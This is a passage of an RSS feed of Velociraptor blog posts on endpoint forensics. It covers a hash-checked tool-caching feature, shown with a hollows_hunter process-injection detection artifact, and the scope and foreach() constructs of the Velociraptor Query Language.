caching the binary locally, ensuring&#xA;its hash does not change over time. To make this process as easy to&#xA;use as possible, as far as the artifact writer is concerned, they&#xA;simply need to call the &lt;em&gt;“Generic.Utils.FetchBinary()”&lt;/em&gt; artifact to&#xA;get a path to the local binary.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-07-13-velociraptor-in-the-tool-age-d896dfe71b9/../../img/1WWMvYGQvreCfPbKrtDYuew.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The first VQL query simply calls the &lt;strong&gt;Generic.Utils.FetchBinary()&lt;/strong&gt;&#xA;artifact with the required tool name (Note that we don&amp;rsquo;t need to&#xA;specify a url since this is already known to the system). We assign&#xA;the result of this query to the &lt;em&gt;“binaries”&lt;/em&gt; variable — which will&#xA;contain an array of rows as is always the case with assigning a query&#xA;to a variable (in this case only one row).&lt;/p&gt;&#xA;&lt;p&gt;At the same time we also obtain a temporary directory to store results&#xA;in. This directory will be automatically removed when the query ends&#xA;to clean up.&lt;/p&gt;&#xA;&lt;p&gt;Next we call the binary using the &lt;strong&gt;execve()&lt;/strong&gt; plugin with the&#xA;appropriate arguments — We wish to dump the memory of affected&#xA;processed and write json results into the temp directory (The length&#xA;parameter forces the execve() plugin to wait until the buffer is full&#xA;before emitting the row — this will wait until the program is done and&#xA;emit a single row with Stdout as a column.)&lt;/p&gt;&#xA;&lt;p&gt;After the hollows hunter program ends, we glob over all the files in&#xA;the temp directory and just upload them to the server (we chain the&#xA;two queries together using the &lt;em&gt;chain()&lt;/em&gt; plugin).&lt;/p&gt;&#xA;&lt;p&gt;The complete artifact can be seen below:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;name: Custom.Windows.Detection.ProcessHollowing&#xA;description: |&#xA;   Use hollows_hunter to detect suspicious process injections.&#xA;&#xA;   Upload any findings to the server, including process dumps.&#xA;tools:&#xA; - name: hollows_hunter&#xA;   url: https://github.com/hasherezade/hollows_hunter/releases/download/v0.2.7.1/hollows_hunter64.exe&#xA;&#xA;sources:&#xA;  - precondition:&#xA;      SELECT OS From info() where OS = &#39;windows&#39;&#xA;&#xA;    query: |&#xA;      -- Get the path to the hollows_hunter tool and a fresh temp directory.&#xA;      LET binaries &amp;lt;= SELECT FullPath, tempdir() AS TempDir&#xA;      FROM Artifact.Generic.Utils.FetchBinary(&#xA;         ToolName=&amp;quot;hollows_hunter&amp;quot;)&#xA;&#xA;      -- Run the tool and relay back the output, as well as upload all the files from the tempdir.&#xA;      SELECT * FROM chain(&#xA;      a={SELECT Stdout, NULL AS Upload&#xA;         FROM execve(argv=[binaries[0].FullPath,&#xA;           &amp;quot;/json&amp;quot;, &amp;quot;/dir&amp;quot;, binaries[0].TempDir], length=100000)},&#xA;      b={&#xA;        SELECT upload(file=FullPath) AS Upload&#xA;        FROM glob(globs=&amp;quot;*&amp;quot;, root=binaries[0].TempDir)&#xA;      })&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3 id=&#34;collecting-from-the-endpoint&#34;&gt;Collecting from the endpoint&lt;/h3&gt;&#xA;&lt;p&gt;Now let&amp;rsquo;s test this artifact by collecting it from our test VM. Simply&#xA;search for the hostname in the search box, and view the* “Collected&#xA;Artifacts”* pane to see previously collected artifacts. Click the&#xA;&lt;em&gt;“Collect new artifacts”&lt;/em&gt; button and search for our newly created&#xA;hollows hunter artifact.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-07-13-velociraptor-in-the-tool-age-d896dfe71b9/../../img/1iTGEgzlLFnoQpwwLBTylQg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Click* “Launch Collection” *to collect it from the endpoint. We can&#xA;view the query log as it is executing on the endpoint to really&#xA;appreciate what is happening behind the scenes.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-07-13-velociraptor-in-the-tool-age-d896dfe71b9/../../img/1uf7vfDoXWEUYO6KOabXHtw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The endpoint initially does not have a copy of the hollows hunter&#xA;binary cached locally, so it needs to download it. The endpoint will&#xA;now sleep a random time before actually downloading it in order to&#xA;stagger downloads from potentially thousands of endpoints in a hunt.&lt;/p&gt;&#xA;&lt;p&gt;After a short sleep, the endpoint will download the binary directly&#xA;from GitHub, it will then calculate the hash of the binary it&#xA;downloaded with the expected hash that was sent by the server. If the&#xA;hashes match, then the endpoint will keep this file in the temp&#xA;directory. The hash comparison protects endpoints from the GitHub&#xA;binary changing unexpectedly.&lt;/p&gt;&#xA;&lt;p&gt;Finally, the endpoint simply runs the tool, and uploads the results to&#xA;the server.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-07-13-velociraptor-in-the-tool-age-d896dfe71b9/../../img/15U_9frnLTdA1vsyPuewh4g.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The user can access those results as normally by simply getting the&#xA;results in a zip file from the &lt;strong&gt;Artifact Collection&lt;/strong&gt; tab.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-07-13-velociraptor-in-the-tool-age-d896dfe71b9/../../img/1G9m-FkIBjgzQh1xURAnpzw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;We can now also hunt for this on our entire fleet to retrieve all the&#xA;injected binaries in minutes!&lt;/p&gt;&#xA;&lt;p&gt;Note that once the binary is cached on the endpoint, the Velociraptor&#xA;client will not need to download it again, as long as the cached hash&#xA;matches the expected hash.&lt;/p&gt;&#xA;&lt;h3 id=&#34;tool-support--deep-dive&#34;&gt;Tool support — deep dive&lt;/h3&gt;&#xA;&lt;p&gt;In the above example, from the point of view of the artifact writer,&#xA;the hollows hunter binary just magically appeared on the endpoint when&#xA;it was required by an artifact that used it. How does this actually&#xA;work?&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor has integrated support for external tools since&#xA;0.4.6. The tools are managed by the velociraptor tools command. You&#xA;can see what tools Velociraptor knows about using the &lt;strong&gt;velociraptor&#xA;tools show&lt;/strong&gt; command:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-07-13-velociraptor-in-the-tool-age-d896dfe71b9/../../img/1y0ApRgFzYELr7A2Ko4AHNQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;We can see that Velociraptor knows the hash of the hollows hunter tool&#xA;and it also keeps a copy of the binary in the filestore under a&#xA;special obfuscated name.&lt;/p&gt;&#xA;&lt;h3 id=&#34;using-a-custom-tool&#34;&gt;Using a custom tool&lt;/h3&gt;&#xA;&lt;p&gt;Previously we have seen that the endpoints all downloaded the hollows&#xA;hunter binary directly from GitHub. In practice, if you have thousands&#xA;of clients all trying to download the same binary in a hunt it might&#xA;trigger GitHub’s DDoS protections. At larger scale it might be better&#xA;to serve binaries from more reliable source, like cloud buckets or&#xA;Velociraptor’s server itself.&lt;/p&gt;&#xA;&lt;p&gt;Suppose we also wanted to use a special version of hollows_hunter&#xA;(perhaps an unreleased version with extra features or detections) so&#xA;we would really like to host the binary ourselves.&lt;/p&gt;&#xA;&lt;p&gt;We can directly upload our custom version to Velociraptor using the&#xA;&lt;strong&gt;velociraptor tools upload&lt;/strong&gt; command&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-07-13-velociraptor-in-the-tool-age-d896dfe71b9/../../img/1cQ-vwx6uj3JSavrF5m5ejQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor will now serve the binary from the frontends directly&#xA;when used (seen by the serve_locally flag). Note that the binary will&#xA;still only be downloaded if the local copy on the endpoint does not&#xA;have the required hash so if this is a frequently used tool it will&#xA;generally not generate a lot of download traffic.&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h3&gt;&#xA;&lt;p&gt;The aim of the new tool integration is to have Velociraptor&#xA;automatically manage local caching on the endpoint of external&#xA;files. It is possible to have the endpoints download the files from&#xA;any URL, or serve it locally from Velociraptor itself. Either way,&#xA;Velociraptor ensures the file integrity by specifying in the&#xA;collection request the required file hash.&lt;/p&gt;&#xA;&lt;p&gt;Although in this example we used a binary on the endpoint, this is not&#xA;necessary. The scheme works just as well with any file type. For&#xA;example, sysmon configuration files can also be kept in a central&#xA;place and artifacts can sync them on the endpoint and load them as&#xA;required.&lt;/p&gt;&#xA;&lt;p&gt;The ability to resync tools on the endpoint opens the door to&#xA;versioned files. For example, we frequently use Yara rule files&#xA;containing frequently changing signatures from threat feeds and other&#xA;intel. By updating the hashes on the Velociraptor server we can force&#xA;endpoints to use the latest version of the signatures whenever an&#xA;artifact is run, but only if they don&amp;rsquo;t already have the latest pack&#xA;of yara rules (which may be large).&lt;/p&gt;&#xA;&lt;p&gt;Caching the files locally means the overheads of downloading the file&#xA;each time is eliminated, the artifact YAML itself contains all one&#xA;needs to collect this specific type of evidence. In the above example,&#xA;we can collect the hollows hunter multiple times, but the binary will&#xA;only be actually downloaded once per endpoint. The next collection&#xA;will simply use the same local binary while its hash is not changed.&lt;/p&gt;&#xA;&lt;p&gt;To play with this new feature yourself, take Velociraptor for a spin!&#xA;It is a available on&#xA;&lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;GitHub&lt;/a&gt; under and open&#xA;source license. As always please file issues on the bug tracker or ask&#xA;questions on our mailing list&#xA;&lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt;&#xA;. You can also chat with us directly on discord&#xA;&lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>The Velociraptor Query Language Pt 2</title>
      <link>https://www.velociraptor-docs.org/blog/2020/2020-06-19-the-velociraptor-query-language-pt-2-fe92bb7aa150/</link>
      <pubDate>Fri, 19 Jun 2020 00:38:44 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2020/2020-06-19-the-velociraptor-query-language-pt-2-fe92bb7aa150/</guid>
      <description>&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-06-19-the-velociraptor-query-language-pt-2-fe92bb7aa150/../../img/0rLy01O0JHT3Kp57q.jpg&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In our previous article I introduced the basics of the Velociraptor Query Language (VQL). We have learned the basic structure of VQL is similar to the SQL SELECT statement&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-06-19-the-velociraptor-query-language-pt-2-fe92bb7aa150/../../img/06-m6txTbGOzeIqrJ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;However, one of the main differences between SQL and VQL is that VQL’s data sources are not simple data tables, but are instead executable code termed “plugins”. VQL plugins are simply generators of rows, and may take a number of named arguments.&lt;/p&gt;&#xA;&lt;h3 id=&#34;the-scope&#34;&gt;The scope&lt;/h3&gt;&#xA;&lt;p&gt;Just like most other programming languages, VQL has a concept of a scope. You can think of the scope as a bag of names referring to values. When VQL encounters a symbol reference within in the query, the VQL engine will consult the scope at that point and try to resolve the symbol’s name for an actual object.&lt;/p&gt;&#xA;&lt;p&gt;For example consider the following simple query&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT * FROM info()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When VQL encounters the symbol “&lt;strong&gt;info&lt;/strong&gt;” it looks at the scope object used to evaluate the query, for a plugin with that name. If there is such a plugin, VQL will call it and extract rows from it.&lt;/p&gt;&#xA;&lt;p&gt;Scopes can also be nested — a scope is not one simple dictionary, instead it is a stack of dictionaries. Looking up a name in the scope walks the scope stack in reverse order (from inner scope to outer scope) looking for a match.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-06-19-the-velociraptor-query-language-pt-2-fe92bb7aa150/../../img/1IXt3ZEGZDVlbk1nUGQYQVw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Consider the above query SELECT OS FROM info(). The query begins with a parent scope and then VQL will run the info() plugin. The plugin will emits a row containing information about the platform. VQL will then create a nested subscope appending the row to the parent scope, and propagate the row further in the query.&lt;/p&gt;&#xA;&lt;p&gt;The column selector in this query refers to the symbol &lt;strong&gt;OS&lt;/strong&gt;. In order to resolve this symbol, VQL will walk the nested scope in reverse and will find a column called OS in the row. This will resolve the name and end the search, causing the OS to be emitted into the result set.&lt;/p&gt;&#xA;&lt;p&gt;Lets crank it up a bit — what if we refer to an unknown symbol?&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-06-19-the-velociraptor-query-language-pt-2-fe92bb7aa150/../../img/14NKhmecY8Wu2GTxDcfVn1g.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In the above query SELECT OS, Foo FROM info() we refer to an unknown symbol called &lt;strong&gt;Foo&lt;/strong&gt;. VQL will attempt to resolve this symbol by walking the scope stack as before, but since the symbol is not known this will fail.&lt;/p&gt;&#xA;&lt;p&gt;VQL emits a warning that Symbol Foo is not found and helpfully prints the current scope at the point of resolution. As you can see from the warning message, the scope consists of a list of layers, each layer has a set of columns. This is why we refer to the scope as a scope stack.&lt;/p&gt;&#xA;&lt;p&gt;The last element in the scope stack is the row produced by the info() plugin. (As can be seen by the usual columns emitted by info() including an OS column).&lt;/p&gt;&#xA;&lt;p&gt;Note that VQL emits a warning but the query keeps going — most errors in VQL are “soft” errors that do not terminate the query from running. VQL does its best to continue with query execution as much as possible.&lt;/p&gt;&#xA;&lt;h3 id=&#34;the-foreach-plugin-and-looping&#34;&gt;The foreach plugin and looping&lt;/h3&gt;&#xA;&lt;p&gt;The previous section covered the query scope in what seems like a rather theoretical and very computer science manner — why should you care about it? The concept of scope is central to VQL and it is critical to understanding how data moves throughout the query.&lt;/p&gt;&#xA;&lt;p&gt;Consider the example of the foreach() plugin. Unlike SQL, VQL does not support joins. Instead, VQL provides a plugin to enable data from two different data sources to be combined.&lt;/p&gt;&#xA;&lt;p&gt;In VQL plugins accept named arguments, but the arguments do not have to be simple types like integers or strings. It is also possible to provide a subquery as an argument to a plugin. The foreach() plugin takes advantage of this property by accepting a &lt;strong&gt;row&lt;/strong&gt; query and a &lt;strong&gt;query&lt;/strong&gt; query. For each row emitted by the &lt;strong&gt;row&lt;/strong&gt; query, the foreach() plugin executes the query provided in the &lt;strong&gt;query&lt;/strong&gt; argument. This is illustrated in the diagram below.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-06-19-the-velociraptor-query-language-pt-2-fe92bb7aa150/../../img/1EMA7RdO2bH0ZBoS3EPTP9A.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;How can we use this in practice? Consider the following example…&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-06-19-the-velociraptor-query-language-pt-2-fe92bb7aa150/../../img/1XgdBwQdDL4VHhJAWJGsFEw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In this example, we select all columns from the foreach() plugin, providing the &lt;strong&gt;row&lt;/strong&gt; argument a query which lists all the running processes and extract their binary path. For each binary path, we run the stat() plugin returning filesystem information (like timestamps, size etc).&lt;/p&gt;&#xA;&lt;p&gt;While this query is obviously useful from a DFIR perspective (it tells us when the binary of each process was modified), it also shows how scope is used within VQL.&lt;/p&gt;&#xA;&lt;p&gt;You might notice that we refer to a symbol Exe within the &lt;strong&gt;query&lt;/strong&gt; query — where does this get resolved from? The foreach plugin creates a sub-scope in which to run the &lt;strong&gt;query&lt;/strong&gt; query, and appends the row to it. In this way, it is possible to access symbols from the iterated row from the inner loop, and therefore stat a new file each time. Information flows from the &lt;strong&gt;row&lt;/strong&gt; query into the &lt;strong&gt;query&lt;/strong&gt; query by way of the nested scope that is shared between them.&lt;/p&gt;&#xA;&lt;h3 id=&#34;more-foreach-examples&#34;&gt;More foreach examples&lt;/h3&gt;&#xA;&lt;p&gt;The foreach plugin is one of the most often used plugins in VQL. It is very common to apply one plugin over the result set of another plugin. Here we give several examples:&lt;/p&gt;&#xA;&lt;h4 id=&#34;yara-scan-files-matching-a-glob-expression&#34;&gt;Yara scan files matching a glob expression:&lt;/h4&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-06-19-the-velociraptor-query-language-pt-2-fe92bb7aa150/../../img/1bGb_CYsiRQko7ai0mcWaVw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h4 id=&#34;list-all-open-file-handles-from-all-chrome-processes&#34;&gt;List all open file handles from all chrome processes:&lt;/h4&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-06-19-the-velociraptor-query-language-pt-2-fe92bb7aa150/../../img/1h8EgsM6ji2Vv1ewQLx5ikQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h3&gt;&#xA;&lt;p&gt;This second installment in our series of articles about VQL internals I introduced the idea of scope in VQL. We saw how scope lookups are central to controlling data flow within the query, with some plugins creating nested sub scope in which to evaluate subqueries.&lt;/p&gt;&#xA;&lt;p&gt;We saw how this principle is applied in the &lt;strong&gt;foreach()&lt;/strong&gt; plugin to implement a looping control flow — apply a query over each row produced by another query. This construct allows us to iterate over rows and act on each one with a second dedicated query. Although functionally equivalent to an SQL join operation, it is arguably easier to read and understand VQL queries.&lt;/p&gt;&#xA;&lt;p&gt;In the next part we see how VQL queries themselves may be stored in the scope and reused. We go back to the concept of lazy evaluation we encountered in the first part and see how this applies to sub queries. We then introduce event queries as a way to run fully asynchronous and event driven VQL.&lt;/p&gt;&#xA;&lt;p&gt;If you want to know more about Velociraptor, VQL and how to use it effectively to hunt across the enterprise, consider enrolling for the next available training course at &lt;a href=&#34;https://www.velocidex.com/training/&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/training/&lt;/a&gt;.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>The Velociraptor Query Language Pt 1</title>
      <link>https://www.velociraptor-docs.org/blog/2020/2020-06-14-the-velociraptor-query-language-pt-1-d721bff100bf/</link>
      <pubDate>Sun, 14 Jun 2020 00:38:44 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2020/2020-06-14-the-velociraptor-query-language-pt-1-d721bff100bf/</guid>
      <description>&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-06-14-the-velociraptor-query-language-pt-1-d721bff100bf/../../img/14hy_vlttNoFFf-sr_Ei0tw.jpeg&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor’s query language is central to the operation of Velociraptor. We find it being used in querying endpoints, collecting forensic artifacts and endpoint state and even in post processing data on the server.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34;note&#34;&gt;&lt;p&gt;Velociraptor is ultimately just a VQL query evaluation engine!&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;Why should you know more about VQL? Users do not actually need to know VQL to simply collect DFIR artifacts from endpoints, hunt for malware or remediate an infection. The Velociraptor GUI is powerful and provides expert DFIR knowledge at the tip of your fingerprints through built in and community contributed artifact definitions.&lt;/p&gt;&#xA;&lt;p&gt;However being proficient in VQL will allow you to be able to write custom artifacts, post process data and adapt quickly to changing requirements during a fluid incident response exercise. You will also be able to understand, modify or adapt existing artifacts to your changing needs or to handle new evidence sources.&lt;/p&gt;&#xA;&lt;p&gt;This is the first of a series of articles about the VQL query language. I hope this series will inspire you to develop and contribute new artifacts to this open source project — to the benefit of all members of the community.&lt;/p&gt;&#xA;&lt;h3 id=&#34;why-a-query-language&#34;&gt;Why a query language?&lt;/h3&gt;&#xA;&lt;p&gt;Before we start, let&amp;rsquo;s discuss why would we want a query language in an endpoint visibility and monitoring tool, such as Velociraptor.&lt;/p&gt;&#xA;&lt;p&gt;In practice, the DFIR process is very fluid — sometimes we don&amp;rsquo;t know in advance what we would encounter. We need a way to rapidly and flexibly deploy new hunting techniques and algorithms in order to responds to the dynamic nature of IR.&lt;/p&gt;&#xA;&lt;p&gt;There are a number of other DFIR tools that do not feature a rich query language — but they all provide some method of dynamically adding code to the endpoint. For example &lt;a href=&#34;https://github.com/google/grr&#34; target=&#34;_blank&#34; &gt;GRR&lt;/a&gt; supports “Python Hacks” to run arbitrary code at the endpoint, &lt;a href=&#34;https://www.tanium.com/&#34; target=&#34;_blank&#34; &gt;Tanium&lt;/a&gt; supports running scripts and&lt;a href=&#34;https://www.carbonblack.com/&#34; target=&#34;_blank&#34; &gt; Carbon Black &lt;/a&gt;allows running arbitrary commands using an API. All these methods cater for dynamic and flexible response.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://osquery.io/&#34; target=&#34;_blank&#34; &gt;OSQuery&lt;/a&gt; was the first tool to offer SQL as a query language for accessing endpoint state. This is really powerful and is probably the most similar tool to Velociraptor’s VQL. So in this article we will often highlight similarities and differences between Velociraptor’s VQL and OSQuery’s SQL.&lt;/p&gt;&#xA;&lt;h3 id=&#34;velociraptor-notebooks&#34;&gt;Velociraptor Notebooks&lt;/h3&gt;&#xA;&lt;p&gt;In the articles in this series, we will be working with the Velociraptor notebook. The notebook is a way to collaborate with many investigators in the course of a DFIR investigation using a shared document consisting of cells (think of it like a Google docs for DFIR!).&lt;/p&gt;&#xA;&lt;p&gt;If you want to follow along this article, you should install the Velociraptor frontend locally (simply generate a simple local config using velociraptor config generate -i and start the frontend using velociraptor.exe &amp;ndash;config server.config.yaml frontend -v.&lt;/p&gt;&#xA;&lt;p&gt;Start a new notebook by selecting the notebook in the sidebar then add a new notebook. Provide a title and description and then add a new VQL cell.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-06-14-the-velociraptor-query-language-pt-1-d721bff100bf/../../img/1IaE_YYFXGqDIOXuxZa8dWQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Notebooks consists of a series of &lt;strong&gt;Cells&lt;/strong&gt;. There are a number of types of cells but the most common are &lt;strong&gt;Markdown&lt;/strong&gt; Cells and &lt;strong&gt;VQL&lt;/strong&gt; cells. VQL cells allow one to run arbitrary VQL directly within the notebook, and view the results in a 